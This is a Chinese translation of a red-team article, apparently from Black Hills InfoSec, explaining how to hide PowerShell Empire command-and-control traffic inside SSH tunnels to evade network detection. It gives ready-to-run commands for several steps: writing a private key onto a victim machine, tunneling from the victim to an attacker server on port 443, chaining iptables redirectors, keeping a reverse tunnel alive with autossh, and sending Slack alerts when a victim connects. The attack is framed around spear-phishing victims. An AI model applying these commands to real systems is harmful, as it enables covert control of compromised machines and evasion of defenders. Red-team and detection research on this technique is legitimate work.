在標準SSH隧道中隱藏C&C流量
SHazam是一種在標準SSH隧道中隱藏C&C流量從而躲避網路檢測的技術。在本文的示例中將會執行PowerShell Empire,用於連線到受害者的localhost埠。本地埠會通過SSH連線被轉發到遠端Empire server,以便讓我們看到的唯一網路流量為SSH。示例中的受害者系統為OS X,但相同的技術也可以使用Plink.exe( Putty toolset 的一部分)在Windows上實現。
從上圖可以看到,受害者系統有一個SSH隧道被配置為偵聽埠5430,並將接收到的任何內容都轉發給Empire Server。Empire Server讓Empire在自己的localhost(127.0.0.1:5430)上執行和偵聽同一個埠。為了使SSH流量看上去更有迷惑性,我們讓SSH伺服器偵聽埠443而不是標準的22埠。你可以通過編輯SSH配置檔案更改其偵聽埠,以及雲提供商防火牆配置以允許通過此埠進行通訊。
在建立隧道之前,你必須建立或複製私鑰到受害者系統上。必須將關聯的公鑰新增到empire-server的authorized_keys檔案中以允許SSH連線。在本例中,我們將私鑰檔案放置在受害者的~/.ssh/.do.key目錄。你可以通過以下命令完成這一系列操作:
mkdir ~/.ssh chmod 700 ~/.ssh echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key <snipped here for brevity> echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key chmod 600 ~/.ssh/.do.key
為了防止任意獲取私鑰訪問許可權的人向你的empire-server執行不必要的操作,你可以在Empire Server上進行配置更改。編輯/etc/passwd檔案將其中的登入名更改為/bin/false。
victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false
使用受害系統上的私鑰,一條簡單的命令即可為你配置SSH隧道和埠。
ssh -i ~/.ssh/.do.key-p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:127.0.0.1:5430
現在,你可以配置PowerShell Empire或你自己的C2來偵聽127.0.0.1:5430上的連線。這甚至在你進行域前置( domain fronting)等複雜配置時仍可正常工作。
就像這樣,所有C2流量都被隱藏在了加密的SSH隧道內,因此你不必為C2觸發任何其他網路簽名而擔心。
這項技術看上去非常的不錯也很簡單,但我相信你絕對不希望將客戶的敏感資料放在他人的雲主機上。如果是這樣,你就需要設定其他重定向器,以將流量通過雲主機轉發到你自己網路中的系統上。但這麼做的缺點就是操作過程會複雜很多,不過大家不用擔心我已經為你們解決了所有的問題,如下所示:
C2連線通過SSH隧道轉發到empire-redirector。empire-redirector上的防火牆規則將流量轉發到另一箇中間重定向器。最後,Empire C2會話最終登陸的內部系統會建立與最終重定向器的反向SSH連線。
在受害者計算機上執行的SSH命令如下:
ssh -i ~/.ssh/.do.key-p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:127.0.0.1:5431
從內部可信系統執行的SSH命令為:
autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 [email protected]
你可能需要先安裝autossh,但這麼做是值得的,因為它會確保你的隧道能夠長時間的保持執行。
Empire-Redirector的IP表規則如下:
iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432 iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE sysctl -w net.ipv4.conf.all.route_localnet=1
這會將埠5430到65535轉發到最終重定向器,你可以使用該範圍內的一個任意埠連線到受害者。
重定向器的IP表規則如下:
sysctl -w net.ipv4.conf.all.route_localnet=1 iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433
你可能還希望在建立SSH連線時通過slack獲取通知。只需將這兩行新增到empire-redirector上的/etc/pam.d/sshd檔案中,這樣當每次成功建立SSH連線時就會自動執行我的slack通知指令碼。
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open session optional pam_exec.so /home/root/ssh-slack-alert.sh
以下是我slack指令碼中的內容:
#!/usr/bin/env bash if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ] then message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`" curl -X POST \ --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \ https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE fi
注意!在這個更為複雜的場景中,一次只能有一個受害者連線,除非每個受害者都配置為使用empire-redirector上的不同埠和使用者/私鑰組合。這很煩人,但在魚叉式釣魚場景中相當好用。
*參考來源: blackhillsinfosec ,FB小編secist編譯,轉載請註明來自FreeBuf.COM